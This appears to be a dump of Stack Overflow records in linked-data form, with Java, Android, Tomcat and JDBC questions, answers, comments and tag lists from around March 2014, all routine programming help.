has body: I have a fragment which works fine basically. In the onResume method I perform an api call to get fresh data when ever a the user gets to the activity/fragment. public void onResume(){ super.onResume(); //in pseudo do async call success callback update ui failure callback update ui } This works fine most of the time. However I experience a problem when the user navigates back to the parent activity, before the update ui method has finished. The update ui just sets some text views. E.g. when the user navigates to the activity and the fragment the above onResume is called. Immediately the users goes back to the parent activity. The async call and update ui isn't finished yet and I get: FATAL EXCEPTION: main Process: com.project.foobar, PID: 4405 java.lang.IllegalStateException: Fragment MyDetailFragment{41ebb478} not attached to Activity This is thrown in the update ui method after success callback. I use square's retrofit to manage api calls. And again, this just happens when update ui has not finished. When I wait for it to finish and go back everything is fine. Any ideas what might be wrong?
accepted answer: http://stackoverflow.com/a/22294607
answer count: 2
downvote count: 0
favorite count: 0
linked to: http://stackoverflow.com/q/10919240
has title: Fragment not attached to Activity, in onResume
tagged with: retrofit
tagged with: android
has answer: http://stackoverflow.com/a/22295145
score: 1
tagged with: java
upvote count: 1
possible better answer: http://stackoverflow.com/a/22295145
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22294607
tagged with: android-fragments

http://stackoverflow.com/comment/33679758
type: QuestionComment
type: Comment
has text: Check the second part of my answer for the answer to your updated question. I didn't understand you at first.
comment on: http://stackoverflow.com/q/22187613
score: 0

http://stackoverflow.com/a/22206141
answers question: http://stackoverflow.com/q/22198534
has body: I recommend you to use Commons FileUpload in servlet that processes form input. Here is sample tutorial: http://commons.apache.org/proper/commons-fileupload/using.html. Once you are done just dispatch to another jsp. Is it sufficient for you to go further or do you need code sample?
score: 0
has comment: http://stackoverflow.com/comment/33730005
type: Answer

http://stackoverflow.com/a/22175120
has body: getItem method must return a Fragment. Your MainActivity1 extends FragmentActivity (which exents of an Activity). You can't do this. every page must be a Fragment, nothing else. @Override public Fragment getItem(int i) { // this must return a Fragment! } In your app, you should have: Activity / FragmentActivity Your adapter AndroidTapPageFragment (extends Fragment) IOSTapPageFragment (extends Fragment) WindowsTapPageFragment (extends Fragment) If your pages have the same layout/functionality, you can create one Fragment OSPageFragment for the Android,IOS and Windows Tabs.
type: Answer
has comment: http://stackoverflow.com/comment/33659022
has comment: http://stackoverflow.com/comment/33658507
answers question: http://stackoverflow.com/q/22174641
score: 0
has comment: http://stackoverflow.com/comment/33658212
has comment: http://stackoverflow.com/comment/33658717

http://stackoverflow.com/comment/33792067
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22250362
has text: Two words [Layout Manager](http://docs.oracle.com/javase/tutorial/uiswing/layout/index.html). See [this answer](http://stackoverflow.com/a/21376596/2587435) to see which ones with stretch your components.
score: 0

http://stackoverflow.com/comment/33663525
type: QuestionComment
comment on: http://stackoverflow.com/q/22178670
score: 0
has text: The part `at Db.processTables(Db.java:42)` means the exception happened in the method `processTables()` at line 42 in the file Db.java. I don't know which line that is because I don't have the file.
type: Comment

http://stackoverflow.com/q/22233736
tagged with: sorting
has comment: http://stackoverflow.com/comment/33761920
answer count: 5
possible better answer: http://stackoverflow.com/a/22233835
accepted answer: http://stackoverflow.com/a/22233779
has title: How can I change my code to print it out every time on new line?
has answer: http://stackoverflow.com/a/22233836
tagged with: collections
has answer: http://stackoverflow.com/a/22233779
has body: It is printing in a straight line, but I want it to print out every word on a new line. This is what it looks like now one, two, three. while (true) { String word = reader.readLine(); if("end".equalsIgnoreCase(word)) { break; } list.add(word); } System.out.println(list);
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33761968
tagged with: java
has answer: http://stackoverflow.com/a/22233835
type: Question
score: 0
has answer: http://stackoverflow.com/a/22233790
has answer: http://stackoverflow.com/a/22233794
has comment: http://stackoverflow.com/comment/33761978

http://stackoverflow.com/q/22322032
accepted answer: http://stackoverflow.com/a/22322982
has title: Failed to execute goal org.codehaus.mojo:tomcat-maven-plugin:1.1:run
type: Question
tagged with: java
has body: While trying to run my web applicaton, I'm getting the below mentioned error. Previously my application was running fine. But today i gave maven clean and then tried ruuning it by giving maven goal as tomcat:run, I'm getting this error [INFO] [INFO] BUILD FAILURE [INFO] [INFO] Total time: 6.754s [INFO] Finished at: Tue Mar 11 15:09:44 IST 2014 [INFO] Final Memory: 11M/28M [INFO] ------------------------------------------------------------------------ [ERROR] Failed to execute goal org.codehaus.mojo:tomcat-maven-plugin:1.1:run (default-cli) on project metaDB: Could not start Tomcat: Memory database file D:\WORK\target\tomcat\conf\tomcat-users.xml cannot be read -&gt; [Help 1] [ERROR] [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch. please help to over come this issue.
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/35914789
tagged with: tomcat
possible better answer: http://stackoverflow.com/a/24508043
favorite count: 0
has answer: http://stackoverflow.com/a/24508043
has answer: http://stackoverflow.com/a/22322982
upvote count: 6
type: AnsweredQuestion
score: 6
tagged with: web-services

http://stackoverflow.com/a/22202417
type: AcceptedAnswer
upvote count: 6
downvote count: 0
answers question: http://stackoverflow.com/q/22195312
type: Answer
has body: Sad answer to your question for localized week number: JodaTime does not support it, only the ISO-8601 definition of week numbers. I know for many users this is like a show stopper. Here the old java.util.*-stuff is clearly better. The only way to realize this feature in JodaTime would be to introduce a specialized date-time-field, but it is surely not easy to implement as the project lead himself admitted. This was already noticed in year 2007, but nothing has happened since. By the way, time zones have nothing to do with the question of localized week numbers so you cannot cure this old Joda problem with any kind of time zone configuration.
accepted answer of: http://stackoverflow.com/q/22195312
score: 6

http://stackoverflow.com/comment/33786810
comment on: http://stackoverflow.com/q/22236909
type: Comment
type: QuestionComment
has text: What is `ExtendedDialogCellEditor`?
score: 0

http://stackoverflow.com/q/22213684
upvote count: 1
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33728692
has comment: http://stackoverflow.com/comment/33768148
answer count: 0
downvote count: 0
score: 1
tagged with: java
has title: Connection closed prematurely Tomcat 7.0.52
has comment: http://stackoverflow.com/comment/33726650
type: Question
tagged with: tomcat
has body: I am trying to fix a bug in a web application that has cropped up since we upgraded from Tomcat 6.0.26 to 7.0.52. The application is basically a proxy that gets content from another web site, the offending code follows: public static synchronized void connect(String externalServiceUrl, HttpServletResponse response) throws IOException { log.info("Connecting to " + externalServiceUrl); URLConnection serverConnection = new URL(externalServiceUrl).openConnection(); serverConnection.setDoInput(true); serverConnection.setDoOutput(false); Map responseMap = serverConnection.getHeaderFields(); for (Iterator iterator = responseMap.keySet().iterator(); iterator.hasNext();) { String key = (String) iterator.next(); List values = (List) responseMap.get(key); for (int i = 0; i &lt; values.size(); i++) { Object o = values.get(i); response.setHeader(key, o.toString()); } } OutputStream toClient = response.getOutputStream(); try { BufferedInputStream fromServer = new BufferedInputStream(serverConnection.getInputStream()); int bytie; try { while ((bytie = fromServer.read()) != -1) { toClient.write(bytie); // Exception thrown from here } } catch (RuntimeException e) { // TODO Auto-generated catch block e.printStackTrace(); } fromServer.close(); } catch (IOException e) { log.severe("Cannot connect to external service with URL " + externalServiceUrl); e.printStackTrace(); } finally { toClient.flush(); toClient.close(); } } The following exception is thrown: ClientAbortException: java.net.SocketException: Connection reset at org.apache.catalina.connector.OutputBuffer.realWriteBytes(OutputBuffer.java:413) at org.apache.tomcat.util.buf.ByteChunk.flushBuffer(ByteChunk.java:480) at org.apache.tomcat.util.buf.ByteChunk.append(ByteChunk.java:310) at org.apache.catalina.connector.OutputBuffer.writeByte(OutputBuffer.java:457) at org.apache.catalina.connector.CoyoteOutputStream.write(CoyoteOutputStream.java:77) at org.springframework.security.web.context.SaveContextOnUpdateOrErrorResponseWrapper$S…

aop
tags question: http://stackoverflow.com/q/22270363
tags question: http://stackoverflow.com/q/22268450
tags question: http://stackoverflow.com/q/22323284
tag name: aop
tags question: http://stackoverflow.com/q/22251741
type: Tag
tags question: http://stackoverflow.com/q/22275562
tags question: http://stackoverflow.com/q/22252300

http://stackoverflow.com/q/22250427
downvote count: 0
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22250577
type: Question
has body: About 1 or 2 years ago, I stumbled upon a framework that could manage old revisions of JPA database data. For each managed table TABLE_T, it would create a table TABLE_VERSIONED_T and whenever data in TABLE_T changed, an entry was created in TABLE_VERSIONED_T. Now I cannot for the life of me remember the framework's name or find it on the web. I browsed some other so questions that dealt with this topic, but none mentions a framework. Any ideas what it could be?
has title: Framework to manage historical data of JPA entities
tagged with: jpa
tagged with: database-versioning
upvote count: 1
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/22250577
type: AnsweredQuestion

http://stackoverflow.com/comment/33839327
comment on: http://stackoverflow.com/q/22275886
score: 0
type: Comment
type: QuestionComment
has text: Accepted best practice is to put code into methods. Each method should do only one thing. No method should be longer than 10 lines. This makes your code easy to follow - if you use good names for your methods then your code becomes self documenting.

http://stackoverflow.com/comment/39294109
type: Comment
has text: 1% did you just guess, lol? Not applets, JWS for an small scale university project shared with highschools. BTW the reason applets are bad in teaching is flawed design, a flawed design which evidences the point of my previous comment.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22293397

http://stackoverflow.com/a/22208618
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33717511
type: Answer
upvote count: 6
has comment: http://stackoverflow.com/comment/33718270
downvote count: 1
score: 5
has comment: http://stackoverflow.com/comment/33717826
accepted answer of: http://stackoverflow.com/q/22208514
answers question: http://stackoverflow.com/q/22208514
has body: No need for the array. Here is a slight modification to your code that will output all the permutations. for (int i = 0; i &lt; 2; i++){ for (int j = 0; j &lt; 2; j++){ for (int k = 0; k &lt; 2; k++){ for (int l = 0; l &lt; 2; l++){ for (int m = 0; m &lt; 2; m++){ for (int n = 0; n &lt; 2; n++){ for (int o = 0; o &lt; 2; o++){ for (int p = 0; p &lt; 2; p++){ System.out.println("" + i + j + k + l + m + n + o + p); } } } } } } } } Do you have to use nested loops? Because this is trivially easy when you simply take advantage of the fact that the binary representation of all the numbers from 0 through 255 cover every permutation. for (int i=0; i&lt;256; i++) { System.out.println(Integer.toBinaryString(i)); }

http://stackoverflow.com/a/22308010
type: Answer
score: 0
has body: This is because when you set isRunning to false in pause, you exit the while loop and leave the run function, which causes the thread to end. Rather than setting isRunning, you should provide some other form of synchronization. One wasy way would be to have a semaphore with a single ticket. You could take it in pause() and release it in resume(), and take it then release it at the beginning of each run through the main thread loop. That way if you're paused you'll wait for the semaphore to be released before running again.
answers question: http://stackoverflow.com/q/22307945

http://stackoverflow.com/q/22266814
score: 0
tagged with: resultset
has title: resultSet iterating through rows within the same line
tagged with: jdbc
has comment: http://stackoverflow.com/comment/33822906
has comment: http://stackoverflow.com/comment/33822758
has comment: http://stackoverflow.com/comment/33822745
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33823839
has comment: http://stackoverflow.com/comment/33822738
has comment: http://stackoverflow.com/comment/33823027
tagged with: java
type: Question
has body: Ok that may not make much sense so I'll try and clarify with code, I've got a basic Result set like so: - ResultSet results = stmt.executeQuery(constants.execQueueSQL()); I then want to iterate through this with a while loop like so: - while (results.next()){ String val1 = results.getString("col 1"); String val2 = results.getString("col 2"); String val3 = results.getString("col 3"); } Now, when I debug this within eclipse I can see that before executing the while line the currentRow is already showing as 1 in results, and as I step to each line within the while the currentRow count increases by 1!! I know that I have 4 rows returned but by the time I get to retrieving col 3 I'm already out, and all subsequent values are wrong as they are being obtained from separate lines, why is this...?
has comment: http://stackoverflow.com/comment/33963398
has comment: http://stackoverflow.com/comment/33822403
has comment: http://stackoverflow.com/comment/33963341
has comment: http://stackoverflow.com/comment/33824638

http://stackoverflow.com/a/22182885
has comment: http://stackoverflow.com/comment/33671091
answers question: http://stackoverflow.com/q/22182752
has comment: http://stackoverflow.com/comment/33672168
type: Answer
has body: One great way to get repeatable random data is to use a Random object (java.util.Random is suitable for game usage), and provide it with a non-random seed. Each time you put in the seed and request the same sequence of number types+ranges, you will get the same (psuedo-)random numbers. When you want different numbers, just change the seed. As an example: Random rand = new Random(1234); System.out.println(rand.nextInt()); // an int from Integer.MIN to Integer.MAX System.out.println(rand.nextInt(100)); // an int from 0 to 100 Will always output the following, every single time. -1517918040 33 But change the seed (in the constructor for Random), and the output values will change. rand.setSeed(seed) will reset the Random to start its sequence over. You could use this to produce the same set of random numbers over and over while the rect is on screen. However, a more direct and simple way would be to to just generate one random number for each rect when it is created, and store that number until it leaves: public void drawPipes(){ for(int i = 0; i&lt;Pipes.color.size; i++){ num = Pipes.color.get(i); } for(Rectangle bottomPipe: Pipes.lowerPipes) { switch(num){ case 0: batch.draw(Assets.redPipeImg, bottomPipe.x, bottomPipe.y, bottomPipe.width, bottomPipe.height); break; case 1: batch.draw(Assets.yellowPipeImg, bottomPipe.x, bottomPipe.y, bottomPipe.width, bottomPipe.height); break; } } }
has comment: http://stackoverflow.com/comment/33671141
has comment: http://stackoverflow.com/comment/33672443
has comment: http://stackoverflow.com/comment/33672492
has comment: http://stackoverflow.com/comment/33673190
has comment: http://stackoverflow.com/comment/33671270
score: 0

http://stackoverflow.com/comment/117538851
score: 0
type: AnswerComment
type: Comment
has text: My Problem sounds very similar to this. I have tried this but i think i have to add few more things. Could you please help me with this question [Nested JSON response from SQL View](https://stackoverflow.com/questions/66423759/nested-json-response-from-sql-view) ? I'm running out of time :( @HotLicks
comment on: http://stackoverflow.com/a/22212381

http://stackoverflow.com/comment/33813955
comment on: http://stackoverflow.com/a/22235797
score: 0
type: AnswerComment
type: Comment
has text: Actually you was right, i just chained two map-reduce jobs and solved that problem.

http://stackoverflow.com/comment/33744184
comment on: http://stackoverflow.com/q/22223426
score: 0
has text: @user2874051 Try out the stuff in my answer :-)
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22220769
answers question: http://stackoverflow.com/q/22220558
score: 0
type: Answer
has body: speaking generally, if you are in an activity, 'this' is your context ( remember to import android.content.Context; ), you can also pass the context to your fragments. There are other times when it's a good idea to getApplicationContext, like in services launching alarms and such, but you'd do well to think of the activity you are working with as the context and you'll find out about the other exceptions as you go along. keeping to this pattern, it is always informative when you think you have access to a context but you realize you don't; consider what exactly you are trying to do with that object, and what part of the program it "belongs" to. So, inferring what constructed this object, another activity did DownloaderTask(this) or DownloaderTask(this.context) or DownloaderTask(getApplicationContext); I'd do it the first of those ways and just form the constructor here with public void DownloaderTask(Context context) =]

http://stackoverflow.com/a/22318914
has body: Create a thread object implementing Callable which returns a Future object containing your testerPayoffSum and developerPayoffSum, start the calculation and sum the results obtained from the Futures (See also https://blogs.oracle.com/CoreJavaTechTips/entry/get_netbeans_6).
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22318804
score: 1
answers question: http://stackoverflow.com/q/22318804
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/22214882
has comment: http://stackoverflow.com/comment/33790103
tagged with: angularjs
has comment: http://stackoverflow.com/comment/33731768
has comment: http://stackoverflow.com/comment/33732537
has comment: http://stackoverflow.com/comment/33736476
score: 2
answer count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: java
tagged with: hibernate
has title: What is the best strategy to update a persistent domain object graph in bulk?
type: Question
has body: I am working on a Java-based web application with Spring, Hibernate, Angular, etc., and users in this application can edit entities that have large object graphs. In one part of the application, it's actually quite natural to edit these entities all in 1 update using a multi-step or tabbed UI component rather than give them the chance to make separate smaller edits, because I want to give them the ability to bail out and cancel their modifications without having to undo anything on the server. I am not sure of the best strategy to implement this though. If the updated object contains drastically different children and children of those children, it will be quite difficult to figure out which objects to delete, update and insert based on the 'before' and 'after' object graphs, and which properties require updating for existing objects. One idea I thought of is to record the states of the user's interactions, and then send those to the server instead of the object graph. So if 3 children existed prior to the edits, and the user deletes 2 children and adds 1 new one, I could send an array of 3 states representing the deletes and inserts in the exact order the user did them in, and just replicate that on the server. Here's a superficial example that also illustrates a problem with this approach: [{'delete', 'Dog', {id: 5}}, {'insert', 'Dog', {name: 'Freddy'}}, {'update', 'Dog', {id: 3, name: 'Bob'}}] The one issue I see with this approach is that it can be rather confusing logic-wise to determine if the user adds Freddy and then decides to change it to another name later on because we don't have an id reference - it hasn't been persisted to the server yet. We can't generate all of the inserts upon submit, because there may be some dependency issues - the order can be relevant in some cases, while not all. I don't see a good solution to this problem without a ton of framework support to track the states properly. It is frankly beyond what I can do in the timeframe I have…
tagged with: javascript
tagged with: batch-processing
downvote count: 0
favorite count: 0

web-services
type: Tag
tags question: http://stackoverflow.com/q/22269955
tags question: http://stackoverflow.com/q/22292271
tags question: http://stackoverflow.com/q/22294830
tags question: http://stackoverflow.com/q/22198624
tags question: http://stackoverflow.com/q/22324384
tags question: http://stackoverflow.com/q/22253563
tags question: http://stackoverflow.com/q/22184309
tags question: http://stackoverflow.com/q/22222229
tags question: http://stackoverflow.com/q/22253470
tags question: http://stackoverflow.com/q/22227914
tags question: http://stackoverflow.com/q/22230184
tags question: http://stackoverflow.com/q/22192465
tags question: http://stackoverflow.com/q/22296036
tags question: http://stackoverflow.com/q/22314425
tags question: http://stackoverflow.com/q/22192418
tags question: http://stackoverflow.com/q/22325482
tags question: http://stackoverflow.com/q/22204388
tags question: http://stackoverflow.com/q/22304596
tags question: http://stackoverflow.com/q/22191980
tags question: http://stackoverflow.com/q/22244182
tags question: http://stackoverflow.com/q/22292972
tags question: http://stackoverflow.com/q/22296716
tags question: http://stackoverflow.com/q/22197593
tags question: http://stackoverflow.com/q/22218807
tags question: http://stackoverflow.com/q/22223229
tags question: http://stackoverflow.com/q/22204387
tags question: http://stackoverflow.com/q/22176769
tags question: http://stackoverflow.com/q/22310418
tags question: http://stackoverflow.com/q/22287677
tags question: http://stackoverflow.com/q/22211546
tags question: http://stackoverflow.com/q/22201685
tags question: http://stackoverflow.com/q/22293873
tags question: http://stackoverflow.com/q/22310099
tag name: web-services
tags question: http://stackoverflow.com/q/22298164
tags question: http://stackoverflow.com/q/22294260
tags question: http://stackoverflow.com/q/22237284
tags question: http://stackoverflow.com/q/22198895
tags question: http://stackoverflow.com/q/22326043
tags question: http://stackoverflow.com/q/22241685
tags question: http://stackoverflow.com/q/22244147
tags question: http://stackoverflow.com/q/22243320
tags question: http://stackoverflow.com/q/22322125
tags question: http://stackoverflow.com/q/22176548
tags question: http://stackoverflow.com/q/22322032
tags question: http://stackoverflow.com/q/22231174

playframework-2.0
tags question: http://stackoverflow.com/q/22296838
tags question: http://stackoverflow.com/q/22194815
tags question: http://stackoverflow.com/q/22185137
tags question: http://stackoverflow.com/q/22267831
tags question: http://stackoverflow.com/q/22317932
tags question: http://stackoverflow.com/q/22323783
tags question: http://stackoverflow.com/q/22249681
tags question: http://stackoverflow.com/q/22241223
tags question: http://stackoverflow.com/q/22237785
tags question: http://stackoverflow.com/q/22234140
tags question: http://stackoverflow.com/q/22176918
type: Tag
tags question: http://stackoverflow.com/q/22217815
tags question: http://stackoverflow.com/q/22279175
tag name: playframework-2.0
tags question: http://stackoverflow.com/q/22214057

http://stackoverflow.com/a/22206200
downvote count: 0
score: 9
has body: You can replace almost the entire if statement with a pair of arrays like this: int dayCount[] = new int[] {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; String monthName[] = new String[] {"January", "February", ...}; With these two arrays in hand, you can do this: // February is the only month that needs special handling if (month == 2) { // Do your special handling of leap year etc... } else if (month &gt;= 1 &amp;&amp; month &lt;= 12) { // All other valid months go here. Since Java arrays are zero-based, // we subtract 1 from the month number days = dayCount[month-1]; monthout = monthName[month-1]; } else { // Put handling of invalid month here } out = "There are " + days + " days in " + monthout;
accepted answer of: http://stackoverflow.com/q/22206073
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33712570
answers question: http://stackoverflow.com/q/22206073
upvote count: 9
type: Answer

encryption
tags question: http://stackoverflow.com/q/22307241
tags question: http://stackoverflow.com/q/22241190
tags question: http://stackoverflow.com/q/22298389
tags question: http://stackoverflow.com/q/22249329
tag name: encryption
tags question: http://stackoverflow.com/q/22213483
tags question: http://stackoverflow.com/q/22185728
tags question: http://stackoverflow.com/q/22314416
tags question: http://stackoverflow.com/q/22271311
tags question: http://stackoverflow.com/q/22172588
tags question: http://stackoverflow.com/q/22228711
tags question: http://stackoverflow.com/q/22192414
tags question: http://stackoverflow.com/q/22326843
tags question: http://stackoverflow.com/q/22254659
tags question: http://stackoverflow.com/q/22298728
tags question: http://stackoverflow.com/q/22312329
tags question: http://stackoverflow.com/q/22204986
tags question: http://stackoverflow.com/q/22273656
tags question: http://stackoverflow.com/q/22244947
tags question: http://stackoverflow.com/q/22231051
tags question: http://stackoverflow.com/q/22191485
type: Tag
tags question: http://stackoverflow.com/q/22265872

http://stackoverflow.com/comment/33912366
type: QuestionComment
type: Comment
score: 0
has text: try using telnet melucio.no-ip.biz" 8080
comment on: http://stackoverflow.com/q/22316772

http://stackoverflow.com/comment/33766316
comment on: http://stackoverflow.com/q/22235928
score: 12
type: QuestionComment
has text: It's an ambiguous name. Both those classes have a `static` field named `MAX_VALUE`. The compiler can't determine which one you want.
type: Comment

jsf-2
tags question: http://stackoverflow.com/q/22269230
type: Tag
tags question: http://stackoverflow.com/q/22195022
tags question: http://stackoverflow.com/q/22179629
tags question: http://stackoverflow.com/q/22296133
tags question: http://stackoverflow.com/q/22231015
tags question: http://stackoverflow.com/q/22220673
tags question: http://stackoverflow.com/q/22298631
tag name: jsf-2
tags question: http://stackoverflow.com/q/22280550
tags question: http://stackoverflow.com/q/22247191
tags question: http://stackoverflow.com/q/22203420
tags question: http://stackoverflow.com/q/22315643
tags question: http://stackoverflow.com/q/22321365
tags question: http://stackoverflow.com/q/22240352

http://stackoverflow.com/comment/33800878
type: QuestionComment
comment on: http://stackoverflow.com/q/22255048
has text: Is CEREventId initialized?
score: 0
type: Comment

http://stackoverflow.com/comment/33699358
comment on: http://stackoverflow.com/a/22198968
type: AnswerComment
score: 0
type: Comment
has text: Youre welcome.PS: you should consider using "LayoutManagers", as I did in the example see http://docs.oracle.com/javase/tutorial/uiswing/layout/visual.html

http://stackoverflow.com/q/22174797
tagged with: java
has comment: http://stackoverflow.com/comment/33657144
has comment: http://stackoverflow.com/comment/33657317
has comment: http://stackoverflow.com/comment/33657161
type: Question
has title: Whether a word consists of Turkish characters (maybe with numbers) or not?
answer count: 1
downvote count: 0
favorite count: 0
tagged with: regex
score: 2
has body: I have a corpus that has words. I want to do an analyze on them. I accept that they are Turkish characters but some of them are not. So I want to check whether a word does not include a Turkish character or numbers. I mean: hey4 valid 33 valid kırp valid vxz invalid ğşiüçö valid xwq invalid How can I check it (with regex or not) fast. I have millions of tokens and I want to drop some of them that I know they are not Turkish because of they includes non Turkish characers.
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22175176

http://stackoverflow.com/a/22319597
type: Answer
answers question: http://stackoverflow.com/q/22319491
has body: Looks like you are not passing parameters while trying to run the program. Go to run configuration in eclipse and add your parameters there. this will fix your problem.
score: 0

http://stackoverflow.com/comment/33657963
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22175429
has text: No it doesn't work. it seems COLUMN_NAME as String like select "COLUMN_NAME" from table so it returns COLUMN_NAME word.

http://stackoverflow.com/a/22302265
upvote count: 1
downvote count: 0
has body: Methods like isBeforeFirst() and isAfterLast() are only required to work with scrollable result sets. If you want to be able to use all types of result sets and all JDBC implementations, then you have several options: Define a boolean variable initially set to false, and set it to true in the while loop; base your decision on this while loop Similar to one, but define an integer count instead Check rs.next() and process the result using do ... while
type: Answer
answers question: http://stackoverflow.com/q/22302097
score: 1

http://stackoverflow.com/q/22271801
downvote count: 0
tagged with: arraylist
accepted answer: http://stackoverflow.com/a/22271844
favorite count: 0
has body: I wrote a constructors that can passes all the fields, including an Arraylist. I don't know what to do if I want constructors where I'm not passing the Arraylist and instead give it an empty Arraylist. For example I already wrote a Course class and now I'm writing a Student class. The student class contains an Arraylist. class Student { String studentFirstName; String studentLastName; ArrayList&lt;Course&gt; studentSchedule = new ArrayList&lt;Course&gt;(); // Constructors Student(String newFirstName, String newLastName) { this.Student(newFirstName, newLastName, _______ ); //what to put in the blank? } Student(String newFirstName, String newLastName, ArrayList&lt;Course&gt; newSchedule) { this.studentFirstName = newFirstName; this.studentLastName = newLastName; this.studentSchedule = newSchedule; } . . . I'm stuck here. Putting null in the blank does not work, I get compiler warning: The method Student(String, String, null) is undefined for the type Student Obviously I'm missing the point. How do I get the constructor to give me an empty Arraylist?
tagged with: constructor
has answer: http://stackoverflow.com/a/22271841
upvote count: 2
has answer: http://stackoverflow.com/a/22271834
has title: How to create constructor with empty ArrayList?
answer count: 4
type: AnsweredQuestion
score: 2
possible better answer: http://stackoverflow.com/a/22271834
tagged with: java
has answer: http://stackoverflow.com/a/22271844
type: Question
has answer: http://stackoverflow.com/a/22271837

javafx
tags question: http://stackoverflow.com/q/22311197
type: Tag
tags question: http://stackoverflow.com/q/22238246
tags question: http://stackoverflow.com/q/22209168
tags question: http://stackoverflow.com/q/22328087
tags question: http://stackoverflow.com/q/22191076
tags question: http://stackoverflow.com/q/22192484
tags question: http://stackoverflow.com/q/22274244
tags question: http://stackoverflow.com/q/22257729
tags question: http://stackoverflow.com/q/22274773
tags question: http://stackoverflow.com/q/22222451
tag name: javafx
tags question: http://stackoverflow.com/q/22253497
tags question: http://stackoverflow.com/q/22299976
tags question: http://stackoverflow.com/q/22251346
tags question: http://stackoverflow.com/q/22243243
tags question: http://stackoverflow.com/q/22299229
tags question: http://stackoverflow.com/q/22199089
tags question: http://stackoverflow.com/q/22212245
tags question: http://stackoverflow.com/q/22237906
tags question: http://stackoverflow.com/q/22215917
tags question: http://stackoverflow.com/q/22173688
tags question: http://stackoverflow.com/q/22178533
tags question: http://stackoverflow.com/q/22298336
tags question: http://stackoverflow.com/q/22184172
tags question: http://stackoverflow.com/q/22191954
tags question: http://stackoverflow.com/q/22276711
tags question: http://stackoverflow.com/q/22228995
tags question: http://stackoverflow.com/q/22307221
tags question: http://stackoverflow.com/q/22251364
tags question: http://stackoverflow.com/q/22279109
tags question: http://stackoverflow.com/q/22194411
tags question: http://stackoverflow.com/q/22182619
tags question: http://stackoverflow.com/q/22307960
tags question: http://stackoverflow.com/q/22216259

http://stackoverflow.com/q/22179066
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33663985
has comment: http://stackoverflow.com/comment/33663992
has comment: http://stackoverflow.com/comment/33663862
tagged with: java
has comment: http://stackoverflow.com/comment/33664028
has comment: http://stackoverflow.com/comment/33664137
downvote count: 1
accepted answer: http://stackoverflow.com/a/22179366
has comment: http://stackoverflow.com/comment/33664083
has comment: http://stackoverflow.com/comment/33663828
type: Question
has comment: http://stackoverflow.com/comment/33663731
score: 10
has comment: http://stackoverflow.com/comment/33663888
has comment: http://stackoverflow.com/comment/33663834
has comment: http://stackoverflow.com/comment/33663846
answer count: 2
has comment: http://stackoverflow.com/comment/33663791
possible better answer: http://stackoverflow.com/a/22179344
has answer: http://stackoverflow.com/a/22179344
favorite count: 0
has body: class A { static { System.out.println("A-SIB"); } static void test(){ System.out.println("A-test"); } } class B extends A { static { System.out.println("B-SIB"); } } class C { public static void main(String args []){ B.test(); } } When I ran class C, I thought A-SIB, B-SIB and A-test will be printed, but B-SIB was not there in the output. Can somebody explain why?
has title: static keyword in Java
has answer: http://stackoverflow.com/a/22179366
has comment: http://stackoverflow.com/comment/33663957
has comment: http://stackoverflow.com/comment/33664131
has comment: http://stackoverflow.com/comment/33664054
upvote count: 11

http://stackoverflow.com/comment/33719904
comment on: http://stackoverflow.com/q/22210018
type: QuestionComment
score: 1
has text: Don't use multiple JFrames - For more information look here http://stackoverflow.com/questions/9554636/the-use-of-multiple-jframes-good-bad-practice
type: Comment

http://stackoverflow.com/comment/33750697
type: Comment
type: QuestionComment
has text: Can you show us some code ?
comment on: http://stackoverflow.com/q/22227850
score: 0

http://stackoverflow.com/comment/33831134
comment on: http://stackoverflow.com/q/22271776
type: Comment
type: QuestionComment
score: 1
has text: Any reason why you are using a `Vector`?

http://stackoverflow.com/comment/33854248
type: Comment
type: QuestionComment
has text: Used `Linear Layout` instead of `Relative Layout` and set `Orientation Vertical`
comment on: http://stackoverflow.com/q/22284534
score: 0

http://stackoverflow.com/q/22170652
has answer: http://stackoverflow.com/a/22171774
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22171024
accepted answer: http://stackoverflow.com/a/22171024
possible better answer: http://stackoverflow.com/a/22171774
tagged with: swing
type: AnsweredQuestion
downvote count: 0
has title: why ActionListener is not implemented when creating GUI using window builder in eclipse?
score: 1
tagged with: java
has body: Im using window builder to create a front end GUI and I get the following automatically generated code. In the below code I cannot find the statement that implements ActionListener for the button click event. Its directly calling add addActionListener and actionPerformed without the statement Public class gui extends JFrame implements ActionListener as I learned in the tutorials. public class gui extends JFrame { private JPanel contentPane; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { gui frame = new gui(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the frame. */ public gui() { setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 386, 451); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); JButton btnNewButton = new JButton(""); btnNewButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { } });
type: Question
answer count: 2
tagged with: actionlistener

http://stackoverflow.com/a/22299116
score: 1
has body: Your class "Annotation" is not mapped. Add /hibernate/Annotation1.hbm.xml And create the file if not exists.
answers question: http://stackoverflow.com/q/22298625
upvote count: 1
has comment: http://stackoverflow.com/comment/33880341
type: Answer
downvote count: 0

http://stackoverflow.com/q/22204986
linked to: http://stackoverflow.com/q/426397
answer count: 2
has comment: http://stackoverflow.com/comment/33710809
